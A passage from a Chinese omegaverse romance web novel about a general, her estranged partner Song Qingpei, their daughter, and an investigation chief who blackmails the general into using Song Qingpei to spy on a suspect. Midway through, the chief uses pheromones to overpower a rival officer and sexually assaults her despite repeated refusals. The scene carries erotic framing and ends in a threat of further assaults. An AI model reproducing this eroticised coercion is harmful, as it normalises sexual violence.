然而,她的睡眠并不安稳。 梦中不断浮现出宋青佩的身影,她的笑容、她的温柔、像是刻在了她的记忆里,挥之不去。 半夜,明毓猛地惊醒,额头上渗出了细密的汗珠。 她的胸口剧烈起伏,坐起身,深吸了一口气,周围的冷寂让她越发怀念那个让人安心的怀抱。 “只是一声‘姐姐’而已……” 她低声喃喃,仿佛在说服自己。 沉默的呆坐了许久,明毓忍不住掀开被子,轻手轻脚地下了床。 她走到宋青佩的房间门口,手指轻轻搭在门把手上,犹豫了片刻,最终还是推开了门。 房间里一片漆黑,只有窗外透进来的微弱月光洒在床上。 宋青佩躺在床上,呼吸平稳,显然已经睡着了。 明毓站在门口,犹豫了片刻,最终还是轻手轻脚地走了进去。 她的心跳得很快,好像在做一件见不得人的事情。 她走到床边,轻轻掀开被子,钻了进去,动作很轻,仿佛生怕吵醒宋青佩。 然而,宋青佩还是被她的动作惊醒了。她迷迷糊糊地睁开眼睛,看到明毓躺在自己身边,顿时吓了一跳。 “你……你什么时候来的?” 宋青佩的声音有些沙哑,带着几分困意。 明毓的脸色瞬间变得通红,眼中闪过一丝慌乱。 宋青佩原本都快把这事忘了,见她这一副别扭的样子,登时来了兴致,困意也没了,努力憋着笑摆出一副凝重的样子。 “谁让你进来的,出去,我要睡觉。” 闻言,明毓咬了咬下唇,眼中闪过一丝挣扎,最终低声喊:“姐姐……” 声音很低,几乎听不见,但却像是用尽了全身的力气。 宋青佩不由轻笑一声,语气中带着几分调侃:“真不容易,终于肯喊了。” 明毓的脸色瞬间变得通红,眼中闪过一丝羞耻。 看明毓慌乱的反应,宋青佩越发起了‘报仇’的心思,故意调侃道:“哎,这是明毓上将喊的,还是梦梦喊的啊?这下总没有被催眠呜” 话没说完,就被明毓伸手捂住了她的嘴。 明毓脸上的绯红从眼尾一路蔓延到她的耳根,整个人好似要羞耻死了一般,恼羞成怒道:“宋青佩,你够了!” 宋青佩真没想到她会有这么大反应,想到了思想钢印的影响,也怕把人逼急了,再留下什么后遗症,叹了口气道:“好吧,不说了,睡觉。” 明毓如释重负,带着点气性的背对着宋青佩躺下。 宋青佩没有说话,如果她所料不差,根据之前跟明毓一起睡的习惯,第二天起来,人会直接滚进她的怀里,然后死死抱着她的腰,恨不能将她勒死。 果然,第二天不出所料。 明毓睁开眼,正好看到自己死死的抱着宋青佩,脸色顿时有点挂不住,赶紧起身,动作利落地穿上了笔挺的军服。 她的身形修长,军服勾勒出她长腿细腰的轮廓,显得格外英姿飒爽。 宋青佩坐在床边,从未如此仔细地打量过明毓,此刻却觉得她穿军服的样子格外好看。 “你今天要去总统府?”宋青佩轻声问。 明毓一边整理袖口,一边回答:“嗯,明芮的事情不能再拖了,我得尽快解决。” “你小心点,别太冲动。”宋青佩低声叮嘱,语气中带着几分担忧。 明毓点了点头:“放心,我会处理好的,你在家好好休息。” 两人难得和谐,宋青佩目送明毓离开。 宋青佩站在门口,直到明毓的身影消失在视线中,才轻轻叹了口气,总觉得继续和明毓这样纠缠下去会失控,却又不忍拒绝。 归根结底,她的恋爱脑还是没完全治好。 明毓驱车前往总统府,一路上都在回想着这次的事件。 她知道,这件事明面上是针对明芮,但明芮不过是代她受过,她必须对战家做出有力反击,否则后果不堪设想。 到达总统府后,明毓径直走向总统的办公室。 门口的警卫见到她,立刻敬礼示意,显然对她的到来并不感到意外。 “明上将,总统正在等您。”警卫恭敬地说道。 明毓点了点头,推门而入。 战笠正坐在办公桌后,见到明毓进来,脸上立刻露出了笑容。 “明毓,你来了。”战笠语气中带着几分热络,“军校的事情进展得怎么样了?听说你最近忙得不可开交。” 明毓微微一笑,语气平静:“军校的事情一切顺利,多谢总统关心。” “那就好。”战笠点了点头,示意她坐下:“军校是我们军部的未来,你可要好多多用心。” 明毓坐下后,直接切入正题:“总统,我今天来是为了明芮的事情。她被调查局带走,我希望您能过问一下。” 战笠闻言,脸上的笑容稍稍收敛,露出一丝为难的神色:“明芮的事情,乌澜倒是跟我提过。不过你也知道,调查局是独立部门,我不好插手。” 明毓心中冷笑,知道战笠这是在推脱。 她早就料到战笠不会轻易松口,但面上依旧保持着平静:“总统,明芮是我的表妹,她的为人我很清楚。这次的事情恐怕有些误会,我希望您能帮忙协调一下。” 战笠叹了口气,语气中带着几分无奈:“明毓,我理解你的心情。但调查局的事情,我不好过多干涉。你还是直接去找乌澜吧,她一定会给你一个合理的解释。” 明毓知道再纠缠下去也无济于事,便点了点头:“好,那我就不打扰您了。” 战笠笑了笑,语气中带着几分安抚:“明毓,你放心,明芮的事情不会有什么大问题的。你去找乌澜好好谈谈,事情好好解决嘛。” 明毓站起身,微微鞠躬:“多谢总统。” 离开总统府后,明毓的脸色瞬间沉了下来。 她知道,战笠这只老狐狸根本不会轻易插手这件事,只能靠自己去找乌澜。 明毓驱车前往联邦调查局,一路上她的心情愈发沉重。 乌澜这个人,她并不陌生,但也谈不上熟悉。乌澜是战笠的亲信,行事作风一向强硬,明毓并不确定她是否会给自己面子。 到达调查局后,明毓径直走向乌澜的办公室。 乌澜坐在办公桌后,见到明毓进来丝毫不惊讶,仿佛早已预料到她的到来。 “明上将,又见面了。”乌澜站起身,语气客气,“请坐。” 明毓没有坐下,而是直接走到乌澜面前,问:“乌局长,明芮的事情,你到底打算什么时候放人?” 乌澜语气中带着几分敷衍:“明上将,调查局有调查局的规矩,程序还没走完,我们也不好随意放人。您再耐心等等,等调查结果出来了,自然会给您一个交代。” 明毓的耐心已经被消磨殆尽,语气中带着几分质问:“乌局长,你这是在跟我打太极吗?明芮到底有什么问题,你直接说清楚。” “明上将既然这么爽快,那我也不绕圈子了。”乌澜的笑容稍稍收敛,语气平静却带着几分试探:“关于慕容瑞雪的事情,您应该早就知道了吧?” 明毓的眉头微微一皱,心中警铃大作。 她没想到乌澜会突然提起慕容瑞雪,但她很快恢复了冷静,含糊道:“是,我知道一些。” 乌澜目光锐利地盯着明毓:“那您将她纳入军校的人才招纳计划,也是为了将她放在眼皮底下,方便监视吧?” 明毓没有否认,语气平静:“是有这个打算。” 乌澜轻笑一声,语气中带着几分玩味:“明上将,这本不是军部的职责范围,您这么上心,是为了宋青佩小姐吧?” 提到宋青佩,明毓的眼神陡然变得锐利:“乌局长,你这是什么意思?” 乌澜不再绕圈子,直截了当地说:“我怀疑慕容瑞雪潜伏的真正目的,其实是宋青佩。” “你有什么证据?”明毓的心猛地一沉,但她面上依旧保持着冷静。 乌澜摇了摇头,道:“目前还没有确凿的证据,但根据我们的情报分析,慕容瑞雪对宋青佩的关注度远超常人。她冒险留在蓝海,很可能就是为了接近宋青佩。” 见她话中句句不离宋青佩,明毓很快反应过来,乌澜的目标恐怕不是利用明芮打击她,而是想利用宋青佩做些什么。她的声音顿时冷得像冰:“你到底想说什么?” 乌澜看向明毓,语气中带着几分试探:“我建议,让宋青佩回到慕容瑞雪身边,主动接近她,打听出她的真正目的。” “不可能!”明毓语气中带着不容置疑的坚决,“我不会让青佩卷入这种危险的事情中。” 乌澜的脸上露出一丝遗憾,“如果您不愿意配合,那明芮的事情恐怕还得再拖一段时间。而且,调查局在调查过程中,难免会发现一些不合规的操作。您也知道,明芮这些年帮您处理过不少事情,如果真上纲上线,恐怕……” 她没有说完,但话中的威胁已经再明显不过。 明毓的眼中闪过怒火,冷冷地看着乌澜:“乌局长,你这是在威胁我?” 乌澜摊了摊手,语气中带着几分无辜:“明上将,您误会了。我只是在陈述事实。调查局的职责就是查清真相,无论涉及到谁,我们都会一查到底。” 明毓努力的压抑着自己的怒火。她知道,乌澜这是在逼她做出选择——要么让宋青佩冒险,要么明芮就会被推上风口浪尖。 见她不说话,乌澜笑道:“当然,您可以慢慢考虑。不过,时间不等人,明芮的事情拖得越久,变数就越多。” 两人正僵持中。 突然门外传来一阵嘈杂声,打破了办公室内剑拔弩张的气氛。 “乌澜,你个混蛋!给我滚出来!” 熟悉的声音尖锐而充满怒火,仿佛要将整个办公室掀翻。 下一刻,门被一脚踹开。 两人齐齐望了过去,只见战南笙怒气冲冲地冲了进来,目光直接锁定在乌澜身上,完全忽略了站在一旁的明毓。 乌澜看到战南笙怒气冲冲的样子,并没有起身,而是靠在椅背上,语气平静却带着几分戏谑:“战中将,怎么这么大火气,是谁惹到你了?” 战南笙这才注意到明毓也在,惊讶道:“明毓?你怎么会在这里?” 明毓没有回答,只是冷冷地看了战南笙一眼,随后转向乌澜,语气平静:“乌局长,我会考虑你的提议。不过,我希望你能记住,宋青佩是我的底线。” “明上将放心,我会等您的答复。” 明毓没有再说什么,转身离开了办公室。 战南笙本想对明毓讥讽两句,见她一走,立刻将怒火重新对准了乌澜。 “乌澜,你这个混蛋!”战南笙大步走到乌澜面前,抬手就要打她。 然而,她的手还没碰到乌澜,一股强大的信息素瞬间从乌澜身上爆发出来,直接压向战南笙。 战南笙的身体猛地一僵,双腿不受控制地发软,整个人像是被抽走了所有的力气,直接瘫软在乌澜的怀里。 “你……你干什么!” 她试图挣扎,但身体却完全不听使唤。 乌澜低头看着她,眼中闪过一丝冷意:“大小姐,你总是这么冲动。上次的教训还不够吗?” 想起了上次在云海酒店的经历,战南笙的脸色瞬间变得苍白,心中涌起一股羞耻和愤怒。她咬紧牙关,声音中带着几分颤抖:“乌澜,你敢!你要是再敢碰我,我父亲不会放过你的!” “哈哈哈大小姐,你以为我现在还会怕你父亲知道吗?” 乌澜笑着凑近她,嘲讽道:“上次我标记你的时候,确实担心你一气之下告诉总统。不过既然大小姐第一次没说,那第二次” 说着,她直接将战南笙压到了办公桌上,手指轻轻抚过战南笙的脸颊,语气中带着几分戏谑:“第二次就更不会说了。毕竟,人的底线只会一次次降低,大小姐你可是把面子看的比节操重要。” 战南笙的眼中闪过恐惧,从*未想过乌澜会如此肆无忌惮。 “乌澜!你个混蛋!滚开!放开我!” 她慌乱的骂着,试图挣脱开乌澜的钳制,但是被强制标记过的身体,根本就无法反抗来自己于Enigma的强大信息素,很快就软成一团的趴在了桌上。 乌澜手指顺着她的脸颊滑落到她的脖颈,轻轻解开了她军服的扣子。 “乌澜,你……你停下!” 战南笙的手指紧紧攥住乌澜的衣袖,试图阻止她的动作。 然而,乌澜的动作没有丝毫停顿。 她将战南笙的军服一件件脱下,直到她完全暴露在空气中。 “乌澜,你这个混蛋!我一定会让你付出代价!” 战南笙歇斯底里的骂着,嘴唇紧咬,试图不让自己发出任何声音,但乌澜的动作却让她无法控制地发出一声低低的呻吟,慢慢破碎不成调。 “乌澜,你……你不能这样对我……” 乌澜充耳不闻,将战南笙摁在办公桌上,动作越发粗暴而毫不留情。 战南笙的双手紧紧抓住桌沿,指节因用力而发白。 终于,她忍不住发出哀求声:“乌澜,你停下……只要你停下,我就当这事没发生过,再也不找你麻烦。” 乌澜紧紧扣住战南笙的肩膀,喘息着中带着意犹未尽:“呼大小姐,我警告过你多少次了,你非要来惹我。现在知道求饶了?晚了。” 战南笙颤抖不已,声音中带着哭腔:“乌澜,你……你个混蛋……杀了你,我要杀你!” 乌澜没有丝毫温柔,再次狠狠地标记了她。 完事后,战南笙瘫在桌子上发抖,乌澜给她穿好衣服,道:“大小姐,别再来惹我,以后见你一次,标记你一次。” —— 宋青佩坐在客厅的沙发上,手中捧着一杯温热的茶。 明毓和颂颂都走后,她很是无聊,低头抿了一口茶,茶香在口中弥漫,却无法驱散她心中的烦闷。 就在这时,她的通讯器突然响了起来。 宋青佩低头一看,是慕容瑞雪发来的视频通话请求。 她愣了一下,随即接通了电话。 屏幕上,慕容瑞雪的脸出现在眼前,笑容依旧温柔。 看到宋青佩红肿的眼睛,慕容瑞雪担忧的问:“青佩,你的眼睛怎么了?” 宋青佩下意识地摸了摸自己的眼睛,勉强扯出一丝笑容:“没事,只是被泪海葵的气味给刺激到了。” “泪海葵?”慕容瑞雪的声音中带着几分惊讶,“你怎么会去碰那种东西?那东西的气味可是很难闻的。” “没见过,手贱碰了一下,结果就这样了。”宋青佩有些不好意思的解释道。 “你啊眼睛还疼吗?有没有去看医生?” “没事,已经好多了。” 慕容瑞雪语气中带着关切:“那就好。你最近怎么样了?” 听她东拉西扯了一大堆,宋青佩一直在等她直入正题,此刻见她迟迟不说目的,不由有些着急,便故意道:“还行吧,就是最近事情比较多,怕是没办法去上班了。” 果然说到不能上班,慕容瑞雪一下就急了,“青佩,你是不是遇到什么麻烦了?如果有需要帮忙的地方,尽管跟我说。” “没什么事,就是……明毓还是不太愿意让我回去上班。”说着她顿了一下,又道:“要是忙的话,你就重新招人吧,就当我辞职了吧!” 慕容瑞雪赶紧表态道:“不急不急,你先休息吧。等你眼睛好了,我再跟明毓上将好好解释一下,让她同意你来上班。” 宋青佩点了点头,语气中带着几分感激:“谢谢你,瑞雪姐。” 两人又聊了几句,慕容瑞雪才挂断了电话。 宋青佩放下通讯器,轻轻叹了口气。 明毓的警告还在耳边回响,她不能让慕容瑞雪察觉到任何异常。 她知道,慕容瑞雪的关心是假的,只能陪着她演戏周旋,可终究是第一个认同鼓励她的人,心底还是有些难受的。 就在这时,房门被推开,明毓走了进来。 她的目光先是关心的宋青佩的眼睛上停留了片刻,才试探道:“刚才在和谁通话?” 宋青佩如实道:“慕容瑞雪,她刚打了个电话过来。” 明毓的眉头微微皱起,语气中带着几分醋意:“她倒是挺关心你的。” 宋青佩听出了她话中的酸意,心中有些好笑,故意问:“怎么,吃醋了?” “她配吗?”明毓道。 嗐,还挺自信。 宋青佩轻笑一声,转而问:“明芮的事情怎么样了?有进展吗?” 提到明芮,明毓的表情瞬间变得凝重,沉默不语。 察觉到她的情绪不对,宋青佩心中一紧,知道事情怕是不简单。 知道明毓就是闷葫芦的性格,生怕她藏着什么不说,追问道:“到底怎么了?是不是明芮的事情很棘手?” 在她的追问下,明毓不得不将乌澜的要求说了出来。 “乌澜提出了一个条件,她怀疑慕容瑞雪的目标是你,想让你回到她身边,打听出她的真正目的。” 宋青佩眼中闪过一丝震惊:“我?为什么是我?” 明毓摇了摇头,“乌澜没有明说,但她显然认为你和慕容瑞雪之间有什么联系。” 宋青佩沉默了片刻,随即目光坚定地看着明毓:“我愿意试试。” “不行!”明毓断然拒绝,“我绝不会让你卷入这些危险的事情中!明芮那边我有办法,你不用担心。” “明毓,我知道你担心我,但我必须去。” 宋青佩叹了口气,声音虽轻,却带着一股执拗:“不瞒你说,慕容瑞雪接近我的目的,我也想知道。她是我第一个重要的朋友,我不甘心就这样不明不白地结束这段关系。” “你是真的想知道她的目的,还是想找个借口去见她?” 占有欲爆棚的上将大人,阴阳怪气的毛病不合时宜的又犯了。, 宋青佩瞪了她一眼,带着几分怒意:“明毓,你好好说话。” 明毓被她的语气刺了一下,带着几分不甘和酸涩:“慕容瑞雪是你的朋友,那我呢?我也是你的朋友吗?我们两个……在你心里是一样的吗?” 没想到明毓会把问题扯到了她们的关系上,宋青佩哭笑不得的看着她,“明毓,你是颂颂的妈妈,自然不一样。” “只是因为这个吗?”明毓不依不饶,追问道:如果没有颂颂,我在你心里又算什么?” 宋青佩被她的问题问得一时语塞,心中涌起一股复杂的情绪。 她知道,两人之间一直未曾真正的解决问题。 见明毓一直追问,她决定不再绕弯子,直截了当道:“明毓,我知道你想重新开始。但是说实话我不能接受之前的你。我对爱人的要求,最起码要互相信任,互相尊重,而不是独断专行,替我做一些自认为对我好的事。你愿意试着相信我吗?尊重我吗?” 这简直就是死亡问题,明毓愣住了,眉头紧锁,眼中闪过一丝挣扎。 如果她说“不愿意”,那就意味着她不理解宋青佩,不信任她,甚至独断专行;如果她说“愿意”,那就意味着她必须心甘情愿的答应让宋青佩去接近慕容瑞雪,哪怕这意味着她可能会陷入危险。 这么久的相处,她也知道宋青佩的性格,表面看上去随和实则内心十分执拗,一旦触及她的底线,便再没有回旋的余地,她始终不想让对方更讨厌她了。 犹豫许久,明毓才慢悠悠地吐出一句:“我相信你。” 宋青佩眸中的惊讶一闪而过,随即转为欣喜:“你的意思是同意了?” “嗯。”明毓有些不情愿的点头,随即想到什么般,冷不丁地冒出一句:“不过,你要喊我一声姐姐。” 这话让宋青佩傻了,完全没想到明毓会在这个时候反将她一军。 她的脸上闪过一丝错愕,“你……你怎么还惦记着这个?” 明毓难得占了上风,故意学她的语气道:“我选择相信你,你却连声姐姐都不愿意喊吗?不想喊就算了,那就别去了,反正我也不想让你冒险。” 宋青佩瞬间被堵的没词了。 第40章 让宋青佩主动标记她 “姐姐~” 宋青佩突然夹着嗓子喊了一声,尾音像沾了蜜的钩子。 明毓猝不及防被这声娇滴滴的称呼击中,后颈瞬间起了一层细密的鸡皮疙瘩, 她看着宋青佩眼底狡黠的笑意,忽然意识到自己犯了个致命错误——跟宋青佩比脸皮厚,简直是自取其辱。 “别这么叫我。”明毓别开脸,耳尖泛着可疑的绯色。 “不是你让我喊的吗?” 见明毓不好意思了,宋青佩反倒更不尴尬了,越发放飞道:“姐姐不喜欢?那我换种叫法?毓毓姐姐?上将姐姐?” “够了!” 明毓猛地起身,假装背过身整理袖扣,转移话题道:“你去蓝海上班,定位手环必须24小时佩戴。” 宋青佩有些无语:“这是要把我当犯人二十四小时监控啊?” “是保护。”明毓一脸认真地解释道:“慕容瑞雪既然能在澜星潜伏那么久,肯定有过人之处,不能大意。” 知道明毓也是为了她好,宋青佩无奈妥协:“行吧。” 两人达成一致,又难得气氛轻松,于是一起去找女儿了。 颂颂正在楼上做手工,看到两人异常兴奋。 “妈咪!今天手工课我做了星际战舰!”颂颂举着模型往明毓怀里钻,“李老师说要家长一起完成最终涂装!” 宋青佩看见明毓小心翼翼地托住“战舰”,暖黄灯光下,竟比白日里穿军服训人时顺眼许多。 “妈咪看!”小家伙转身又扑进她怀里,“我还在战舰上画了全家福!” 战舰上的简笔画撞进视线——穿军装的高个火柴人牵着戴蝴蝶结的小火柴人,旁边的长发火柴人头顶还画着夸张的爱心。 “这是妈妈!”颂颂兴奋地指着爱心,“老师说爱心代表最最喜欢!” 宋青佩对此很满意,果然小棉袄还是最喜欢她的。 见妈妈和妈咪都笑眯眯的,小家伙趁机提出了小小的要求,“世界上最好最好的妈妈,还有妈咪,我今晚可以跟你们一起睡吗?” 面对这种彩虹屁,还能说什么呢? 当然是答应她了。 旁边的上将大人没来得及等宋青佩说话,就抱起了颂颂,然后往宋青佩房间走去。 一家三口躺在床上,颂颂自然在中间。 宋青佩问:“颂颂,今晚想听哪个睡前故事?” “要听银河骑士救公主!”颂颂左右手各拉着两人的手,欢快地说:“骑士骑着机甲巨龙,biubiubiu打跑所有坏人!” 等终于哄睡小祖宗,已是深夜。 宋青佩侧身看了看,发现明毓居然也跟女儿睡着了,也闭上眼睡觉。 奇怪的是,却迟迟睡不着,身体反而开始微微发热。 她知道自己易感期到了,但是因为信息素一向冷淡,她很少有这方面的困扰,基本没有当回事过,这一次似乎有些奇怪。 宋青佩翻了个身,许久才慢慢睡着。 深夜,她是被热醒的。 宋青佩迷蒙的睁眼,发现颂颂四仰八叉地滚到床尾,而本该睡在另一侧的明毓正把脸埋在她颈窝,柔软唇瓣无意识蹭过她脖颈的腺体。 热潮顺着脊椎窜遍四肢百骸。 “明毓?”她试图翻身,却被更用力地箍住。 明毓滚烫的唇擦过她的腺体,宋青佩混沌的思绪突然清明—— 她的信息素在失控。 而此时明毓终于睁开了眼,喑哑的气音故意擦过宋青佩的耳廓,“青佩,你在发热?你的……易感期来了?” 宋青佩感到一阵尴尬,脸颊微微发烫。 她轻轻推开明毓,试图起身离开。 然而,明毓却紧紧抓住了她的手腕,力道虽不重,却带着不容拒绝的意味。 “……别走,我帮你。” 明毓声音中带着一丝颤抖,她的手缓缓引导着宋青佩的手,伸进了自己的衣服,触碰到她温热的肌肤。 宋青佩的指尖微微一颤,那种温热滑腻的触感让她心跳加速,呼吸也变得紊乱,理智和情感在激烈的交锋。 “不……不行。”宋青佩猛地抽回手,迅速从床上坐起。 明毓的眼神中闪过一丝失望,默默地看着宋青佩,眼中充满了复杂的情绪。 宋青佩站起身,快步走向卫生间。 她打开水龙头,用凉水冲洗着自己的脸,试图让自己冷静下来。 水流冲刷着她的肌肤,带走了一些热度,但她的心跳依然无法平复。 她站在镜子前,看着自己泛红的脸颊和迷离的眼神,心中充满了矛盾和挣扎。她知道明毓的心思,但她并不想就这样稀里糊涂地发生关系,她需要的是明确自己的感情,而不是一时的冲动。 宋青佩深吸一口气,擦干脸上的水珠,才走出了卫生间。 一抬头,就对上明毓幽怨的眼神。 不满地瞪着她,“宋青佩,为什么不行?” 宋青佩无奈的解释道:“明毓,我不想总是这样稀里糊涂地发生关系。” 言外之意就是,两人不是恋人不能做那事。 明毓咬唇,又气又不甘心,只能扭头假装睡觉。 看到明毓躺在床上,背对着她,宋青佩知道她应该是生气了。 但是她并没有多说,而是默默地躺到床上,睡了。 就怎么睡了,上将大人更气了。 浓浓的挫败感再次袭来,既气宋青佩不解风情,又忍不住怀疑,难道她就这么没有魅力吗? 明毓又失眠了,甚至忍不住开始头脑风暴。最后终于抓住了一丝可以自我安慰的点,宋青佩并不是对她无动于衷的噩,起码这次信息素有反应。 上将大人立刻被鼓舞了,决定这次要在宋青佩易感期达成自己的目的。 让宋青佩主动标记她,已经不是为了尊严,而是一场战斗。 而她,从不会输! —— 翌日,明毓早早地到了联邦调查局。 乌澜已经在办公室等她,见到明毓进来,脸上露出了一丝意料之中的笑容。 “明上将,这么早来找我,是想通了吗?” 明毓冷冷地看着她,没有多余的寒暄,直接说:“我答应你的提议,让宋青佩回蓝海上班。你必须立刻放人。” 乌澜闻言,脸上的笑意更浓了。 “没问题。”她站起身,伸出手:“明上将,合作愉快。” 明毓没有理会她伸出的手,冷声道:“明芮呢?” 乌澜耸了耸肩,收回手,语气轻松:“调查已经结束,明芮可以立刻释放。不过,她滥用职权的事情证据确凿,按照规定,需要停职一段时间。” 明毓没有多说什么,转身离开了办公室。 乌澜看着她的背影,嘴角勾起一抹意味深长的笑容。 明毓来到调查局的拘留室,明芮正坐在里面,神情有些疲惫,看起来过得并不轻松。 见到明毓,她立刻站起身,“表姐,你怎么来了?” 明毓点了点头,道:“走吧,我来接你。” 明芮眼中闪过一抹惊喜,“我,我可以走了。” 两人上了车,车内一时陷入了沉默。 明芮侧头看了看明毓,欲言又止。 明毓察觉到她的目光,说:“有什么话就说吧。” 明芮犹豫了一下,低声道:“表姐,你答应乌澜的条件了?” 明毓没有直接回答,只是点了点头。 闻言,明芮的眉头皱得更紧了,语气中带着几分担忧:“表姐,你不该答应的。你让宋青佩回去,万一出了什么事……” 明毓打断了她的话,语气坚定:“我有分寸。你不用担心。” 明芮叹了口气,知道明毓一旦决定的事情,谁也改变不了。 她沉默了片刻,又问:“表姐,你真的不怪我吗?这次的事情,是我连累了你。” “我怎么会怪你?”明毓眼中闪过一丝柔和,“这次的事情,她们是冲着我来的,你只是被她利用了。” 明芮的眼眶微微发红,声音有些哽咽:“表姐……我以后一定会小心,不会再给你添麻烦了。” 明毓伸手拍了拍她的肩膀,语气难得温柔:“别说这些了,你没事就好。” 车子驶入军部大楼,明毓带着明芮走进了自己的办公室。 推开门,宋惜寒正坐在沙发上,见到她们进来,立刻站起身。 “明芮,你没事吧?”宋惜寒走上前,仔细打量着明芮,语气中满是关心。 明芮笑了笑,摇了摇头:“我没事,让你们担心了。” “没事就好。”宋惜寒松了口气,笑着提议道:“不如晚上一起吃饭吧,正好给明芮接风。” 明毓点了点头,道:“去我家吃吧,我跟青佩说一声。” 宋惜寒闻言,眼中闪过一丝调侃的笑意,故意拉长了声音:“哟,有情况啊?你俩和好了?” 明毓淡淡地瞥了她一眼,语气平静:“还差点。” 宋惜寒和明芮对视一眼,两人都笑了起来。 调侃道:“加油啊,明上将,我们可都等着你们的好消息呢。” 明毓没有接话,转而道:“说正事吧。我已经答应让宋青佩回蓝海上班,接近慕容瑞雪。你那边要抓紧推进军校对蓝海的人才招纳计划,必须把慕容瑞雪放在眼皮底下,我才放心。” 宋惜寒点了点头,神情严肃起来:“明白,我会尽快安排。” 明毓点了点头,又看向明芮:“你先回去休息吧,这几天辛苦了。” 明芮应了一声,转身离开了办公室。 宋惜寒也准备跟着离开,却被明毓叫住了。“惜寒,等一下。” 她的声音有些迟疑。 宋惜寒回过头,挑了挑眉:“还有事?” 明毓沉默了片刻,似乎在斟酌措辞,最终开口道:“把你表妹……的联系方式给我。” 宋惜寒愣了一下,随即瞪大了眼睛,露出难以置信的表情。 她上下打量着明毓,嘴角渐渐勾起一抹坏笑:“明上将,你这是……开窍了?” 明毓皱了皱眉,语气冷了几分:“少废话,联系方式。” 宋惜寒强忍住笑意,掏出手机,迅速把宋小柔的联系方式发给了明毓。 发完后,她故意调侃道:“多买点啊,我好去跟我表妹要提成。” 明毓看了她一眼,吐出两个字:“滚吧。” 宋惜寒哈哈大笑,转身离开了办公室。 而明毓忙完一天的工作,终于有时间处理私事。 她打开通讯器,找到了宋小柔的联系方式,犹豫片刻后还是发送了好友申请。 几乎是瞬间,申请就被通过了。 “明上将!”宋小柔热情的声音从通讯器那头传来,“真是稀客啊!上次买的内衣效果怎么样?我这边又上新了不少款式,要不要看看?” 明毓想起上次那件让她狼狈不堪的蕾丝内衣,耳根微微发烫。 她清了清嗓子,故作镇定地说道:“不怎么样,有没有效果更好一点的?” 宋小柔愣了一下,随即发出一阵意味深长的笑声:“哎呀,看来你的Alpha很难搞定啊!没关系,我这边还有更重口味的,保证让你满意!” 明毓皱了皱眉,还没来得及拒绝,宋小柔已经发来了一堆产品链接。 什么猫女郎套装、丝袜诱惑、诱情香氛……光是看名字就让她头皮发麻。 “这些……有效果吗?”明毓强忍着尴尬问道。 “当然有效果!”宋小柔信誓旦旦地说道,“这些都是我店里客户回购最多的,保证让你的Alpha欲罢不能!” 明毓听得头大,干脆打断了她的话:“行了,你都打包送到山水庄园吧。” “好嘞!”宋小柔的声音里满是兴奋,“明上将放心,我一定给你挑最好的!” 挂断通讯后,明毓揉了揉太阳穴,觉得自己可能做了一个错误的决定。 但她很快又说服自己,为了以后,这点牺牲算不了什么。 她拨通了苏管家的电话,叮嘱道:“苏管家,待会儿会有一个包裹送到庄园,你亲自签收,然后送到我的房间,千万别让宋青佩看到。” 苏管家虽然有些疑惑,但还是恭敬地应了下来:“是,上将。” 另一边,宋青佩正坐在客厅的沙发上,百无聊赖地翻看着一本机甲维修手册。 她的易感期似乎提前了,身体里涌动的热潮让她有些烦躁。 她考虑要不要打个抑制剂,但想到平时抗一抗就过去了,又打消了这个念头。 就在这时,她听到门外传来一阵动静。 抬头一看,苏管家正指挥着几个佣人搬着一个大箱子往楼上走。 “苏管家,这是什么?”宋青佩好奇地问道。 一个嘴快的女A佣人脱口而出:“糟了!苏管家说了,不能让您看到!” 宋青佩:??? 苏管家一脸尴尬,赶紧解释道:“这是上将的私人东西,我这就送到她房间去。” 明毓的私人东西?还特意叮嘱不让她看到? 宋青佩忍不住更好奇了。【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 姐姐,我穿给你看 宋青佩正奇怪明毓又搞什么鬼,她的手机响了起来。 她一看,看到是明毓发来的消息:“晚上来我家吃饭,明芮和宋惜寒也在。” 宋青佩看着这条简短的消息,回复了一个“好”字。 起身让苏管家去准备完了。 傍晚时分,宋青佩在大厅等着,明芮先到了。 “青佩,这次真是谢谢你了。”明芮语气诚恳,“要不是你愿意帮忙,我可能还在调查局里关着呢。” 宋青佩笑了笑,安慰道:“别这么说,大家都是自己人,互相帮忙是应该的。” 颂颂从楼上跑下来,扑进明芮怀里,甜甜地喊了一声:“小姨!” 明芮抱起颂颂,脸上露出了难得的笑容:“颂颂真乖!” 明毓和宋惜寒走进来,看到这一幕,脸上也露出了笑意。 宋惜寒调侃道:“哟,明芮,你这小姨当得挺称职啊!” 明芮白了她一眼:“少贫嘴,赶紧坐下吃饭吧。” 餐桌上,气氛轻松愉快。 颂颂成了大家的团宠,一会儿这个给夹菜,一会儿那个给喂饭,逗得大家哈哈大笑。 就在这时,宋青佩的通讯器响了。 她低头一看,是慕容瑞雪打来的。 “青佩,明上将在家吗?”慕容瑞雪的声音从通讯器那头传来,“我想上门拜访,跟她解释一下,说服她让你回来上班。” 宋青佩抬头看向明毓,用眼神询问她的意见。 明毓点了点头,示意她答应。 宋青佩正要开口,宋惜寒却突然凑了过来,接过通讯器,热络地说道:“瑞雪啊,我在明毓这儿呢,你过来一起吃啊!” 慕容瑞雪显然没想到宋惜寒也在,愣了一下才说道:“好啊,那我马上过来。” 挂断通讯后,宋惜寒冲明毓眨了眨眼:“怎么样,我这助攻不错吧?” 明毓无奈地摇了摇头,但嘴角却微微上扬。 没过多久,慕容瑞雪就到了。 她一进门,就看到餐桌上其乐融融的场景,脸上露出了一丝不自然的笑容。 “瑞雪,快来坐!”宋惜寒热情地招呼她,“正好赶上吃饭。” 慕容瑞雪坐下后,目光在宋青佩和明毓之间来回扫视,似乎在观察两人的关系。她笑着说道:“青佩,你的眼睛好多了吧?” 宋青佩点了点头:“好多了,谢谢关心。” 慕容瑞雪又看向明毓,语气诚恳:“明上将,关于青佩回蓝海上班的事情,我想跟您解释一下。她是我们实验室不可或缺的人才,我希望您能重新考虑。” 明毓放下筷子,淡淡地说:“这件事我已经考虑过了。青佩可以回去上班,但我有几个条件。” 慕容瑞雪眼中闪过一丝喜色:“您说。” “我和青佩有个女儿你应该知道,我就不多说了。” 明毓半真半假地摆出一副占有欲极强的模样,近乎明示地向慕容瑞雪的宣示主动权。“第一,青佩不能加班,她有孩子要照顾。” 慕容瑞雪点头:“可以,我答应你。” “第二,蓝海实验室必须配合军部的人才招纳计划,尤其是你,慕容博士。”明毓的目光锐利起来,“我希望你能加入军校的教研团队。” 慕容瑞雪愣了一下,随即笑道:“这是我的荣幸。” 明毓点了点头,没有再说什么。 见她们说完,宋惜寒忙打圆场道:“好了,正事说完了,吃饭,吃饭!” 